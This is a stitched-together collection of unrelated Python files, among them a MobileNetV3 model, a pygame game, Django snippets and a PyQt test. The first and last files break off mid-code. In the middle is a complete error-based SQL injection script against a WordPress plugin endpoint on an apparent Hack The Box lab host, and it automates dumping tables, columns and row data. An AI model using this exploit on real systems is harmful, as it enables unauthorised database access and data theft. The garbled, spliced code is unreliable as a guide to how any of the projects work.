            if_act=True,
            act='hard_swish',
            name='conv1')

        i = 0
        inplanes = self.make_divisible(inplanes * scale)
        for layer_cfg in cfg:
            conv = self.residual_unit(
                input=conv,
                num_in_filter=inplanes,
                num_mid_filter=self.make_divisible(scale * layer_cfg[1]),
                num_out_filter=self.make_divisible(scale * layer_cfg[2]),
                act=layer_cfg[4],
                stride=layer_cfg[5],
                filter_size=layer_cfg[0],
                use_se=layer_cfg[3],
                name='conv' + str(i + 2))
            inplanes = self.make_divisible(scale * layer_cfg[2])
            i += 1
            self.curr_stage = i

        conv = self.conv_bn_layer(
            input=conv,
            filter_size=1,
            num_filters=self.make_divisible(scale * cls_ch_squeeze),
            stride=1,
            padding=0,
            num_groups=1,
            if_act=True,
            act='hard_swish',
            name='conv_last')

        return conv, self.decode_point

        conv = fluid.layers.pool2d(
            input=conv, pool_type='avg', global_pooling=True, use_cudnn=False)
        conv = fluid.layers.conv2d(
            input=conv,
            num_filters=cls_ch_expand,
            filter_size=1,
            stride=1,
            padding=0,
            act=None,
            param_attr=ParamAttr(name='last_1x1_conv_weights'),
            bias_attr=False)
        conv = fluid.layers.hard_swish(conv)
        drop = fluid.layers.dropout(x=conv, dropout_prob=0.2)
        out = fluid.layers.fc(
            input=drop,
            size=class_dim,
            param_attr=ParamAttr(name='fc_weights'),
            bias_attr=ParamAttr(name='fc_offset'))
        return out

    def conv_bn_layer(self,
                      input,
                      filter_size,
                      num_filters,
                      stride,
                      padding,
                      num_groups=1,
                      if_act=True,
                      act=None,
                      name=None,
                      use_cudnn=True,
                      res_last_bn_init=False):
        lr_idx = self.curr_stage // self.lr_interval
        lr_idx = min(lr_idx, len(self.lr_mult_list) - 1)
        lr_mult = self.lr_mult_list[lr_idx]

        conv = fluid.layers.conv2d(
            input=input,
            num_filters=num_filters,
            filter_size=filter_size,
            stride=stride,
            padding=padding,
            groups=num_groups,
            act=None,
            use_cudnn=use_cudnn,
            param_attr=ParamAttr(name=name + '_weights', learning_rate=lr_mult),
            bias_attr=False)
        bn_name = name + '_bn'
        bn = fluid.layers.batch_norm(
            input=conv,
            param_attr=ParamAttr(
                name=bn_name + "_scale",
                regularizer=fluid.regularizer.L2DecayRegularizer(
                    regularization_coeff=0.0)),
            bias_attr=ParamAttr(
                name=bn_name + "_offset",
                regularizer=fluid.regularizer.L2DecayRegularizer(
                    regularization_coeff=0.0)),
            moving_mean_name=bn_name + '_mean',
            moving_variance_name=bn_name + '_variance')
        if if_act:
            if act == 'relu':
                bn = fluid.layers.relu(bn)
            elif act == 'hard_swish':
                bn = fluid.layers.hard_swish(bn)
        return bn

    def make_divisible(self, v, divisor=8, min_value=None):
        if min_value is None:
            min_value = divisor
        new_v = max(min_value, int(v + divisor / 2) // divisor * divisor)
        if new_v < 0.9 * v:
            new_v += divisor
        return new_v

    def se_block(self, input, num_out_filter, ratio=4, name=None):
        lr_idx = self.curr_stage // self.lr_interval
        lr_idx = min(lr_idx, len(self.lr_mult_list) - 1)
        lr_mult = self.lr_mult_list[lr_idx]

        num_mid_filter = num_out_filter // ratio
        pool = fluid.layers.pool2d(
            input=input, pool_type='avg', global_pooling=True, use_cudnn=False)
        conv1 = fluid.layers.conv2d(
            input=pool,
            filter_size=1,
            num_filters=num_mid_filter,
            act='relu',
            param_attr=ParamAttr(
                name=name + '_1_weights', learning_rate=lr_mult),
            bias_attr=ParamAttr(name=name + '_1_offset', learning_rate=lr_mult))
        conv2 = fluid.layers.conv2d(
            input=conv1,
            filter_size=1,
            num_filters=num_out_filter,
            act='hard_sigmoid',
            param_attr=ParamAttr(
                name=name + '_2_weights', learning_rate=lr_mult),
            bias_attr=ParamAttr(name=name + '_2_offset', learning_rate=lr_mult))
        scale = fluid.layers.elementwise_mul(x=input, y=conv2, axis=0)
        return scale

    def residual_unit(self,
                      input,
                      num_in_filter,
                      num_mid_filter,
                      num_out_filter,
                      stride,
                      filter_size,
                      act=None,
                      use_se=False,
                      name=None):

        conv0 = self.conv_bn_layer(
            input=input,
            filter_size=1,
            num_filters=num_mid_filter,
            stride=1,
            padding=0,
            if_act=True,
            act=act,
            name=name + '_expand')

        conv1 = self.conv_bn_layer(
            input=conv0,
            filter_size=filter_size,
            num_filters=num_mid_filter,
            stride=stride,
            padding=int((filter_size - 1) // 2),
            if_act=True,
            act=act,
            num_groups=num_mid_filter,
            use_cudnn=False,
            name=name + '_depthwise')

        if self.curr_stage == 5:
            self.decode_point = conv1
        if use_se:
            conv1 = self.se_block(
                input=conv1, num_out_filter=num_mid_filter, name=name + '_se')

        conv2 = self.conv_bn_layer(
            input=conv1,
            filter_size=1,
            num_filters=num_out_filter,
            stride=1,
            padding=0,
            if_act=False,
            name=name + '_linear',
            res_last_bn_init=True)
        if num_in_filter != num_out_filter or stride != 1:
            return conv2
        else:
            return fluid.layers.elementwise_add(x=input, y=conv2, act=None)

def MobileNetV3_small_x0_35():
    model = MobileNetV3(model_name='small', scale=0.35)
    return model

def MobileNetV3_small_x0_5():
    model = MobileNetV3(model_name='small', scale=0.5)
    return model

def MobileNetV3_small_x0_75():
    model = MobileNetV3(model_name='small', scale=0.75)
    return model

def MobileNetV3_small_x1_0(**args):
    model = MobileNetV3(model_name='small', scale=1.0, **args)
    return model

def MobileNetV3_small_x1_25():
    model = MobileNetV3(model_name='small', scale=1.25)
    return model

def MobileNetV3_large_x0_35():
    model = MobileNetV3(model_name='large', scale=0.35)
    return model

def MobileNetV3_large_x0_5():
    model = MobileNetV3(model_name='large', scale=0.5)
    return model

def MobileNetV3_large_x0_75():
    model = MobileNetV3(model_name='large', scale=0.75)
    return model

def MobileNetV3_large_x1_0(**args):
    model = MobileNetV3(model_name='large', scale=1.0, **args)
    return model

def MobileNetV3_large_x1_25():
    model = MobileNetV3(model_name='large', scale=1.25)
    return model


import random
import time

import pygame
pygame.init()
def rovno():

    blue_rect.bottom = 1000
    wave.bottom = blue_rect.top
    plot_rect.bottom = wave.top + 10
    cot.bottom = plot_rect.top + 10
    zont.bottom = cot.top + 30
    vedro.bottom = cot.top + 45

def cloud_controller():
    global show_sun,speed_cloud,speed_kaplya,period_megdy_kapel,blue_rect,kapli

    if kapli < 2:
        return
    if show_sun:
        return
    show_sun = True

    print(kapli)
    kapli -= 2
    pygame.time.set_timer(free_type_dlya_sun, 3000, 1)
    # print(model.speed_cloud)
    if speed_cloud>4:
        speed_cloud -= 4
    if speed_kaplya > 4:
        speed_kaplya-=1
    if blue_rect.height>=10:

        blue_rect.height-=30
        rovno()
    period_megdy_kapel= period_megdy_kapel + 500

t=time.time()
def water_drop_under_cloud_def():
    global  show_water_drop,octaloc_kaplya,speed_cloud,speed_kaplya,level,period_megdy_kapel, free_type_2,t

    rect_kaplya.centerx=cloud_small.centerx
    rect_kaplya.centery=cloud_small.centery

    t=time.time()
    octaloc_kaplya -= 1
    # time.sleep(1)

    if octaloc_kaplya==0:
        octaloc_kaplya=5
        level+=1
        if speed_cloud<=15:
            speed_cloud += 5

        if speed_kaplya<30:
            speed_kaplya += 5

        if period_megdy_kapel > 500:
            period_megdy_kapel= period_megdy_kapel - 500

        pygame.time.set_timer(free_type_2, 0, 0)
        pygame.time.set_timer(free_type_2, period_megdy_kapel, 0)

    if level>=2:

        rect_kaplya.centerx = cloud_small.centerx
        rect_kaplya.centery = cloud_small.centery

    show_water_drop = True

show_sun=False

show_rect=True

razvorot_kota="111"
ride_cloud_right=True
show_water_drop=True

def right():
    global razvorot_kota
    if vedro.right<=1000:

        razvorot_kota = "mirror"
        vedro.right+=20
        mirror_pit_right()

def left():
    global razvorot_kota
    if vedro.left >= 0:

        razvorot_kota = "111"
        vedro.left-=20
        mirror_pit_left()

def mirror_pit_left():

    cot.left=vedro.right-45
    zont.right=cot.right+20
    plot_rect.centerx = cot.centerx

def mirror_pit_right():

    cot.right=vedro.left+45
    zont.left=cot.left-20
    plot_rect.centerx = cot.centerx

def height_wave():

    blue_rect.bottom = 1000
    wave.bottom = blue_rect.top
    plot_rect.bottom = wave.top + 10
    cot.bottom = plot_rect.top + 10
    zont.bottom = cot.top + 30
    vedro.bottom = cot.top + 45
def ride_cloud():
    global ride_cloud_right,show_water_drop,kapli

    rect_kaplya.bottom+=speed_kaplya

    if rect_kaplya.colliderect(zont) and show_water_drop==True:
        show_water_drop=False

    if rect_kaplya.colliderect(vedro) and show_water_drop==True:
        show_water_drop = False
        kapli+=1

    if rect_kaplya.bottom>=wave.top and show_water_drop==True:
        blue_rect.height += 10
        rovno()
        show_water_drop=False
        # rect_kaplya.centerx = cloud_small.centerx
        # rect_kaplya.centery = cloud_small.centery

        # print(blue_rect.height)

    if ride_cloud_right==True:
        cloud_small.right+=speed_cloud

        if cloud_small.right>=1000:
            ride_cloud_right=False
    else:
        cloud_small.left -= speed_cloud
        if cloud_small.left<=0:
            ride_cloud_right=True

cot=pygame.Rect(450, 850, 150, 150)
zont=pygame.Rect(cot.right - 80, 1, 100, 100)
vedro=pygame.Rect(cot.left -20, 1, 70, 70)
cloud_small=pygame.Rect(200,100,100,100)
wave=pygame.Rect(0,870,1000,30)
blue_rect=pygame.Rect(0,900,1000,100)
plot_rect=pygame.Rect(300,1,250,30)
text=pygame.font.SysFont("Arial",20)
sun_rect=pygame.Rect(900,25,100,100)
kapli=2

speed_kaplya=5
speed_cloud=5
octaloc_kaplya=2
level=1

mirror_pit_left()
height_wave()
rect_kaplya = pygame.Rect(400, 180, 25, 25)
rect_kaplya.centerx=cloud_small.centerx

free_type_dlya_sun=pygame.event.custom_type()

free_type_2=pygame.event.custom_type()
pygame.time.set_timer(free_type_2,3000,0)

period_megdy_kapel=3000


import numpy as np
from chainer import Variable
from dataset_utils import is_dataset_type, NOT_DATASET_MESSAGE, is_learn_on, is_sequence_end

def basic_eval(model, validation_set):
    assert is_dataset_type(validation_set), NOT_DATASET_MESSAGE

    ret_arry = []
    inpu, targ, ctr = validation_set
    model.reset()
    for i in range(inpu.shape[0]):
        err = model(Variable(inpu[i, :], volatile=True), Variable(targ[i, :], volatile=True))
        if is_learn_on(ctr[i, :]):
            ret_arry.append(err.data)
        if is_sequence_end(ctr[i, :]):
            model.reset()
    return ret_arry

def basic_train_model(model, optimizer, training_set, clip_grads=None):
    assert is_dataset_type(training_set), NOT_DATASET_MESSAGE

    accum_loss = Variable(np.zeros((), dtype=np.float32), volatile=False)
    ret_arr = []
    inpu, targ, ctr = training_set
    model.reset()
    for i in range(inpu.shape[0]):
        err = model(Variable(inpu[i, :], volatile=False), Variable(targ[i, :], volatile=False))
        if is_learn_on(ctr[i, :]):
            accum_loss += err
            ret_arr.append(err.data)
        if is_sequence_end(ctr[i, :]):
            model.reset()
    optimizer.zero_grads()
    accum_loss.backward()
    if clip_grads is not None:
        optimizer.clip_grads(clip_grads)
    optimizer.update()
    return ret_arr

def online_train_model(model, optimizer, training_set):
    assert is_dataset_type(training_set), NOT_DATASET_MESSAGE

    accum_loss = Variable(np.zeros((), dtype=np.float32), volatile=False)
    ret_arr = []
    sum_loss = np.zeros((), dtype=np.float32)
    inpu, targ, ctr = training_set
    prev_ctr = 1
    for i in range(inpu.shape[0]):
        if prev_ctr == 1 and ctr[i, 0] == 0:
            model.reset()
        prev_ctr = ctr[i, 0]
        err = model(Variable(inpu[i, :], volatile=False), Variable(targ[i, :], volatile=False))
        if ctr[i, 0] == 1:
            ret_arr.append(err.data)
            accum_loss += err
        if (i == inpu.shape[0] - 1) or (prev_ctr == 1 and ctr[i + 1, 0] == 0):
            optimizer.zero_grads()
            accum_loss.backward()
            optimizer.clip_grads(100)
            optimizer.update()
            sum_loss += accum_loss.data
            accum_loss = Variable(np.zeros((), dtype=np.float32), volatile=False)
    return ret_arr


import numpy as np
from matplotlib import pyplot as plt
#from scipy.integrate import quad

t= np.arange(0,15,0.0001)
## s = a1 t**3 + a2 t**2 + a3t + a4: 3次多項式，可以用更多次方，會得到不同的結果
## condition: s(0)=0, s(15)=415.75, v(t)=s'(t), v(0)=v(15)=0 --> 用這些邊界條件來找多項式係數
a1 = -415.75*2/(15**3)
a2 = 3*415.75/15**2
s = a1*(t**3) +a2*(t**2)
v = 3*a1*(t**2) + 2*a2*t
a = 6*a1*t +2*a2
ax1 = plt.subplot(311)
ax1.set_title("S")
ax1.set_ylim([0,415.75])
plt.plot(t,s)
ax2 = plt.subplot(312,sharex=ax1)
ax2.set_title("V")
plt.plot(t,v)
ax3 = plt.subplot(313,sharex=ax1)
ax3.set_title("a")
plt.plot(t,a)
plt.subplots_adjust(hspace=0.5)
plt.show()


#!/usr/bin/python3

import requests
import string
import signal
import time
import sys
import re
from pwn import *

class Color:
    BLUE = '\033[94m'
    GREEN = '\033[92m'
    YELLOW = '\033[93m'
    WHITE = '\033[97m'
    RED = '\033[91m'
    END = '\033[0m'

# Ctrl + C
def def_handler(sig, frame):
    print(Color.RED + "\n✘ Interrupción, saliendo...\n" + Color.END)
    exit(1)

signal.signal(signal.SIGINT, def_handler)

if len(sys.argv) == 1:
    print(Color.BLUE + "\n[!] Usage: python3 " + sys.argv[0] + " <database>\n" + Color.END)
    exit(0)

def extract_tables(db_name):
    result = ""
    db_name_hex = db_name.encode('utf-8').hex()

    # Por si existe 100 tablas
    for table_position in range(0,100):
        payload = "(SELECT 8350 FROM(SELECT COUNT(*),CONCAT(0x5441424C45,(SELECT MID((IFNULL(CAST(table_name AS NCHAR),0x20)),1,50) FROM "
        payload += "INFORMATION_SCHEMA.TABLES WHERE table_schema IN (0x%s) LIMIT %d,1),0x5441424C45,FLOOR(RAND(0)*2))x " % (db_name_hex, table_position)
        payload += "FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)nada)"

        data_get = {"query" : "1 or " + payload}
        p2.status(Color.BLUE + data_get["query"] + Color.END)
        r = session.get(url, params=data_get)

        if "Duplicate" not in r.text:
            break

        p3 = log.progress(Color.BLUE + "Tabla [%d]" % (table_position) + Color.END)

        result += re.findall(r'E(.*?)T', r.text)[0]
        p3.success(Color.WHITE + result + Color.END)
        result = ""

    print(Color.BLUE + "\nAhora puedes agregar alguna de las tablas como parametro para listar sus columnas\n" + Color.END)

def extract_columns(db_name, table_name):
    result = ""

    db_name_hex = db_name.encode('utf-8').hex()
    table_name_hex = table_name.encode('utf-8').hex()

    # Por si existen 100 columnas
    for col_position in range(0,100):
        payload = "(SELECT 8350 FROM(SELECT COUNT(*),CONCAT(0x5441424C45,(SELECT MID((IFNULL(CAST(column_name AS NCHAR),0x20)),1,50) FROM INFORMATION_SCHEMA.COLUMNS "
        payload += "WHERE table_schema IN (0x%s) AND table_name IN (0x%s) LIMIT %d,1),0x5441424C45,FLOOR(RAND(0)*2))x " % (db_name_hex, table_name_hex, col_position)
        payload += "FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)nada)"

        data_get = {"query" : "1 or " + payload}
        p2.status(Color.BLUE + data_get["query"] + Color.END)
        r = session.get(url, params=data_get)

        if "Duplicate" not in r.text:
            break

        p3 = log.progress(Color.BLUE + "Columna [%d]" % (col_position) + Color.END)

        result += re.findall(r'E(.*?)T', r.text)[0]
        p3.success(Color.WHITE + result + Color.END)
        result = ""

    print(Color.BLUE + "\nAhora puedes agregar cualquier columna para listar su información\n" + Color.END)

def extract_data(table_name, column_name):
    result = ""

    # Por si hay 100 filas con data
    for row_position in range(0,100):
        cont_i = 1
        cont_f = 50
        # Proceso de substring cada 50 caracteres (ya que si se pone un numero más grande empiezan a verse problemas), repetirlo 10 veces, osea 451 (inicia en 1, no en 50)
        # i.e: 1,50 primero, despues 51,50, despues 101,50...
        for sub_position in range(10):
            payload = "(SELECT 8350 FROM(SELECT COUNT(*),CONCAT(0x5441424C45,(SELECT "
            payload += "MID((IFNULL(CAST(%s AS NCHAR),0x20)),%d,%d) FROM %s.%s " % (column_name, cont_i, cont_f, db_name, table_name)
            payload += "LIMIT %d,1),0x5441424C45,FLOOR(RAND(0)*2))x " % (row_position)
            payload += "FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)nada)"

            data_get = {"query" : "1 or " + payload}
            p2.status(Color.BLUE + data_get["query"] + Color.END)
            r = session.get(url, params=data_get)

            if "Duplicate" not in r.text:
                break

            # Extraemos la data de la respuesta que esta entre ABLE y TABL. Ya que alguna llega con saltos de linea y no es tomada, debemos tranformar toda la respuesta en un array
            # Ahí buscamos la cadena TABLE1 (final de nuestra busqueda) y extraemos la posicion del array donde esta.
            # Simplemente indicamos que tome desde la posicion 7 (siempre esta el inicio de nuestra cadena "TABLE") hasta la posicion que encontramos antes+1 (para que en caso de que
            #  TABLE1 tenga contenido antes, lo extraiga.
            # Y tomamos esa data extraiga para obtener toda la cadena de informacion que hay desde ABLE a TABL, con esto ya tenemos todo asi llegue con saltos de linea.
            try:
                data = ""
                # Array
                response = r.text.split()
                # Buscamos TABLE1 y extraemos su posicion.
                id_found = [item_res for item_res in range(len(response)) if "TABLE1" in response[item_res]][0]

                # Obtenemos de TABLE a TABLE1 todo lo que esta entre ellos.
                for set_data in range(7, id_found+1):
                    data += response[set_data] + " "

                # Vamos almacenando por cada substring
                result += re.findall(r'ABLE(.*?)TABL', data)[0]

                if result == "":
                    break
            except IndexError:
                break

            # Aumentamos la posicion en la que se mueve cada 50 caracteres
            cont_i += cont_f

        if "Duplicate" not in r.text:
            break

        p3 = log.progress(Color.BLUE + "[%d]" % (row_position) + Color.END)

        p3.success(Color.WHITE + result + Color.END)
        result = ""

url = "http://enterprise.htb/wp-content/plugins/lcars/lcars_db.php"
session = requests.Session()

if len(sys.argv) == 2:
    db_name = sys.argv[1]

    p1 = log.progress(Color.BLUE + "Extrayendo tablas de la base de datos %s" % (db_name) + Color.END)
    p2 = log.progress(Color.BLUE + "Payload" + Color.END)
    print("\n")

    extract_tables(db_name)

    print(Color.WHITE + "[!] Usage: python3 " + sys.argv[0] + " " + sys.argv[1] + " <table_name>\n" + Color.END)

elif len(sys.argv) == 3:
    db_name = sys.argv[1]
    table_name = sys.argv[2]

    p1 = log.progress(Color.BLUE + "Extrayendo columnas de la tabla %s" % (table_name) + Color.END)
    p2 = log.progress(Color.BLUE + "Payload" + Color.END)
    print("\n")

    extract_columns(db_name, table_name)

    print(Color.WHITE + "[!] Usage: python3 " + sys.argv[0] + " " + sys.argv[1] + " " + sys.argv[2] + " <column_name>\n" + Color.END)

elif len(sys.argv) == 4:
    db_name = sys.argv[1]
    table_name = sys.argv[2]
    column_name = sys.argv[3]

    p1 = log.progress(Color.BLUE + "Info columna %s - tabla %s" % (column_name, table_name) + Color.END)
    p2 = log.progress(Color.BLUE + "Payload" + Color.END)
    print("\n")

    extract_data(table_name, column_name)

    print(Color.YELLOW + "\nk3Ep br3ak1n6 4anYyyu...\n" + Color.END)

p1.success(Color.WHITE + "d0Ne" + Color.END)
p2.success(Color.WHITE + "d0Ne" + Color.END)


from django.urls import path
from .views import HouseDetailView, HouseUpdateView, HouseCreateView

app_name = 'house'
urlpatterns = [
    path('', HouseDetailView.as_view(), name='detail'),
    path('create', HouseCreateView.as_view(), name='create'),
    path('update', HouseUpdateView.as_view(), name='update'),
]


import pandas as pd

def transform_data(data, columns, table, PRIMARY_KEY_TABLES):
    """
    Transform the fetched data from NetSuite before loading it into Snowflake.

    Args:
        data (list): The fetched data rows from NetSuite.
        columns (list): The column names of the fetched data.
        table (str): The name of the table being processed.
        PRIMARY_KEY_TABLES (dict): A dictionary mapping table names to their primary key column names.

    Returns:
        DataFrame: The transformed data as a Pandas DataFrame.

    """
    data = [list(each) for each in data]
    df = pd.DataFrame(data=data, columns=columns)
    df[PRIMARY_KEY_TABLES[table]] = df[PRIMARY_KEY_TABLES[table]].astype(int)

    for col in df.columns:
        if pd.api.types.is_datetime64_any_dtype(df[col]):
            df[col].fillna("1970-01-01 00:00:00", inplace=True)
            df[col] = pd.to_datetime(df[col])
            df[col] = df[col].astype(str)
        elif pd.api.types.is_int64_dtype(df[col]):
            df[col].fillna(0, inplace=True)
        elif pd.api.types.is_float_dtype(df[col]):
            df[col].fillna(0.0, inplace=True)
        else:
            df[col].where(pd.notnull(df[col]), None, inplace=True)

    return df


import asyncio
import signal
from typing import Optional

import vbet
from vbet.core import settings
from vbet.core.user_manager import UserManager
from vbet.core.ws_server import WsServer
from vbet.utils import exceptions
from vbet.utils.log import get_logger

logger = get_logger('vbet')

STARTING = 0
CLOSING = 1
LIVE = 100

EXIT_SUCCESS = 100
EXIT_INTERRUPT = 101

def setup_signal_handlers():
    signal.signal(signal.SIGTERM, sig_term)

def sig_term(sig: int, frame):
    logger.info('SIG_TERM terminating server')
    raise KeyboardInterrupt

class Vbet:
    status: int = STARTING  # Show server status.
    exit_flag: bool = False  # Set to True if exit is from shell and False if Ctrl + C.
    loop: Optional[asyncio.AbstractEventLoop] = None  # default event loop.
    close_event: asyncio.Event = asyncio.Event()  # Set when the ws server and the user manager are done.
    exit_code: int = 0

    def __init__(self):
        self.ws_server: WsServer = WsServer(self)  # Ws server service endpoint.

        self.manager: UserManager = UserManager(self)  # User manager player handler.

    def run(self) -> int:
        logger.info(f'Vbet Server build {vbet.__VERSION__}')
        self.setup_event_loop()  # Get and Setup event loop
        setup_signal_handlers()  # Install custom signal handlers

        # Setup ws server and the user manager loop
        manager_future = self.loop.create_task(self.manager.setup())  # Setup user manager
        ws_future = self.loop.create_task(self.ws_server.setup())  # Setup websocket server
        future = self.loop.create_task(asyncio.wait([manager_future, ws_future], return_when=asyncio.ALL_COMPLETED))
        future.add_done_callback(lambda x: self.loop.stop())
        try:
            self.loop.run_forever()
        except KeyboardInterrupt:
            pass
        else:
            try:
                logger.info(f'Server online. API_NAME[{settings.API_NAME}] . Press Ctrl + C to terminate')
                self.status = LIVE
                while not self.exit_flag:
                    self.loop.run_forever()
                raise KeyboardInterrupt
            except KeyboardInterrupt:
                try:
                    # Graceful shutdown
                    self.status = CLOSING
                    logger.info('Gracefully terminating server')

                    self.teardown()
                except KeyboardInterrupt:
                    self.exit_code = EXIT_INTERRUPT
                    self.cancel_tasks()
                    logger.info(f'Cold shutdown')
                else:
                    self.exit_code = EXIT_SUCCESS
        finally:
            self.loop.close()
            logger.info(f'Terminated application: {self.exit_code}')
            return self.exit_code

    def setup_event_loop(self):
        # Set current loop
        self.loop = asyncio.get_event_loop()

        # Custom event loop error handler
        self.loop.set_exception_handler(self.exception_handler)
        self.loop.set_debug(settings.LOOP_DEBUG)

    def teardown(self):
        server_task = self.loop.create_task(self.ws_server.wait_closed())
        manager_task = self.loop.create_task(self.manager.wait_closed())
        tasks = asyncio.gather(*[server_task, manager_task], return_exceptions=True)
        tasks.add_done_callback(self.teardown_callback)

        # Run event loop until all tasks are completed
        while not self.loop.is_running() and not self.close_event.is_set():
            self.loop.run_forever()

    def teardown_callback(self, future: asyncio.Future):
        self.close_event.set()
        raise exceptions.StopApplication

    def cancel_tasks(self):
        # Cancel all pending tasks
        tasks = asyncio.gather(*asyncio.Task.all_tasks(), return_exceptions=True)
        tasks.add_done_callback(lambda a: self.loop.stop())

    def exception_handler(self, loop, context):
        if 'exception' in context:
            if isinstance(context['exception'], exceptions.StopApplication):
                logger.info(f'Server shutdown success')
                self.loop.stop()
            elif isinstance(context['exception'], asyncio.CancelledError):
                print(context)
            elif 'exception' not in context or not isinstance(context['exception'], asyncio.CancelledError):
                loop.default_exception_handler(context)

    # API calls
    async def exit_uri(self, session_key: int, body):
        if not self.exit_flag and self.status != CLOSING:
            self.exit_flag = True
            self.loop.stop()


from PIL import Image
filename = "assets/building.jpg"
with Image.open(filename) as img:
    img.load()

    img.rotate(90)
    img.show()

    cropped_img = img.crop((150, 150, 700, 700))
    cropped_img.save("assets/cropped_image.jpg")
    print('File create!')


class Murtoluku:
    def __init__(self, a, b):
        self.osoittaja = a
        self.nimittaja = b

    def tulosta(self):
        print(f'{self.osoittaja}/{self.nimittaja}')

    def sievenna(self):
        s = self.syt()
        self.osoittaja //= s
        self.nimittaja //= s

    def syt(self):
        a = self.osoittaja
        b = self.nimittaja
        while b != 0:
             t = b
             b = a % b
             a = t
        return a

test = Murtoluku(34562,311058)

test.tulosta()

test.sievenna()

test.tulosta()


from django import forms
from django.db.models.base import Model
from .models import *
from django.forms import ModelForm

CONTINENTS = (
    ('',''),
    ('Asia','Asia'),
    ('Africa', 'Africa'),
    ('Europe','Europe'),
    ('North America','North America'),
    ('South America','South America'),
    ('Australia/Oceania','Australia/Oceania'),
    ('Antarctica','Antarctica'),
)

INCOME_LEVELS = (
    ('',''),
    ('0 to 10k','0 to 10k'),
    ('10k to 20k', '10k to 20k'),
    ('20k to 40k','20k to 40k'),
    ('40k to 60k','40k to 60k'),
    ('60k to 80k','60k to 80k'),
    ('80k to 100k','80k to 100k'),
    ('Over 150k','Over 150k'),
)

class ProfileForm(ModelForm):
  class Meta:
    model = Profile
    exclude = ['user']


#!/usr/bin/env python
# coding: utf-8

# In[1]:

import sys
from Bio import Phylo
import numpy as np
import matplotlib.pyplot as plt

# In[4]:

import copy
from io import StringIO

from Bio import Phylo
from Bio.Phylo.Applications import PhymlCommandline
from Bio.Phylo.PAML import codeml
from Bio.Phylo.PhyloXML import Phylogeny

get_ipython().run_line_magic('matplotlib', 'auto')

# import phylogenetic tree
tree = Phylo.read("tree", "newick")

# In[22]:

# get the path for the first leaf all the way to the root
tree_path1 = tree.get_path(str(sys.argv[1]))
nodes1 = []
for path1 in tree_path1:
    nodes1.append(str(path1))

# get the path for the second leaf all the way to the root
tree_path2 = tree.get_path(str(sys.argv[2]))
nodes2 = []
for path2 in tree_path2:
    nodes2.append(str(path2))

# In[24]:

# print all the nodes that are common in both paths
common_nodes = []
for i in nodes1:
    if i in nodes2:
        common_nodes.append(i.split("/")[0])
        print(i)
    else:
        next

print(common_nodes)

# In[25]:

# print the sequences for the common nodes
from Bio import SeqIO

print("----------------------------------------------------------------------")
for record in SeqIO.parse("ASR.fasta", "fasta"):
    if record.name in common_nodes:
        print(">" + record.description + "\n" + record.seq)
    else:
        next

# In[11]:

# import ASR state file as pandas dataframe
import numpy as np
import pandas as pd

df = pd.read_csv("ASR_prediction.fas.state", sep="\t")

# In[26]:

# print the names of the common nodes
print("----------------------------------------------------------------------")
for index, row in df.iterrows():
    if row["Node"] in common_nodes:
        print(row)
    else:
        next


# -*- coding: utf-8 -*-
"""
Created on Wed Jun 13 08:44:08 2018

@author: lwang
"""

def findWords(board, words):
    """
    :type board: List[List[str]]
    :type words: List[str]
    :rtype: List[str]
    """

    m, n = len(board), len(board[0])
    def dfs(i,j,m,n,newwords,parents,branch,res):

        if (i,j) not in parents:
            nextwords = []
            for word in newwords:
                if board[i][j] == word[0]:
                    if word[1:]:
                        nextwords.append(word[1:])
                    else:
                        if branch+word[0] not in res:
                            res.add(branch+word[0])
            #print (i,j), branch, parents, nextwords
            if nextwords:
                if i-1>=0:
                    branch = branch+board[i][j]
                    parents.add((i,j))
                    dfs(i-1,j,m,n,nextwords,parents,branch,res)
                    branch = branch[:-1]
                    parents.remove((i,j))
                if i+1<m:
                    branch = branch+board[i][j]
                    parents.add((i,j))
                    dfs(i+1,j,m,n,nextwords,parents,branch,res)
                    branch = branch[:-1]
                    parents.remove((i,j))
                if j-1>=0:
                    branch = branch+board[i][j]
                    parents.add((i,j))
                    dfs(i,j-1,m,n,nextwords,parents,branch,res)
                    branch = branch[:-1]
                    parents.remove((i,j))
                if j+1<n:
                    branch = branch+board[i][j]
                    parents.add((i,j))
                    dfs(i,j+1,m,n,nextwords,parents,branch,res)
                    branch = branch[:-1]
                    parents.remove((i,j))
    res = set()
    parents = set()
    branch=""
    remainingwords = set(words)
    for i in range(m-1,-1,-1):
        for j in range(n-1,-1,-1):
            remainingwords = remainingwords.difference(res)
            #print len(remainingwords),res
            if remainingwords:
                dfs(i,j,m,n,list(remainingwords),parents,branch,res)

    return list(res)

def findWords2(board, words):

    def dfs(board, i, j, trie, partial):
        if '#' in trie:
            res.add(partial)
        if not (0 <= i < len(board)) or not (0 <= j < len(board[0])) or board[i][j] not in trie:
            return
        temp = board[i][j]
        board[i][j] = '@'
        [dfs(board, i+dx, j+dy, trie[temp], partial+temp) for dx, dy in directions]
        board[i][j] = temp

    trie, res = dict(), set()
    directions = ((0, 1), (0, -1), (1, 0), (-1, 0))
    for word in words:
        t = trie
        for c in word:
            if c not in t:
                t[c] = dict()
            t = t[c]
        t['#'] = '#'
    for i in range(len(board)):
        for j in range(len(board[0])):
            dfs(board, i, j, trie, '')
    return res


import sys
from unittest import TestCase
from unittest.mock import MagicMock

from PyQt5 import QtCore
from PyQt5.QtTest import QTest
from PyQt5.QtWidgets import QApplication

from Facade import Facade
from gui import MainWindow, DialogInput, DialogDelete

class FunctionalTest(TestCase):
    def setUp(self):
        self.qapp = QApplication(sys.argv)
        self.facade = Facade('DB_test.db')
        self.window = MainWindow(self.facade)

    def test_add(self):
        btn_add = self.window.ui.btn_add
        QTest.mouseClick(btn_add, QtCore.Qt.MouseButton.LeftButton)     # открываем диалоговое окно, нажав на кнопку
        for window in self.qapp.topLevelWidgets():      # возвращает список ссылок на все открытые окна (главное и диалоговые окна (при чем каждый раз в разном порядке))
            if isinstance(window, DialogInput):     # проверяем принадлежит ли открытое окно классу DialogInput
                dialog = window
                break
        else:
            self.fail()

        self.facade.insert_value(1)    # записываем данные в поля
        QTest.mouseClick(dialog.btn_insert, QtCore.Qt.MouseButton.LeftButton)       # и пытаемся их добавить, нажав на кнопку

        self.facade.insert_value(2)
        QTest.mouseClick(dialog.btn_insert, QtCore.Qt.MouseButton.LeftButton)

        self.window.draw_el = MagicMock()
        self.facade.insert_value(3)
        QTest.mouseClick(dialog.btn_insert, QtCore.Qt.MouseButton.LeftButton)
        self.window.draw_el.assert_called()

        self.facade.insert_value(4)
        self.facade.insert_value = MagicMock()
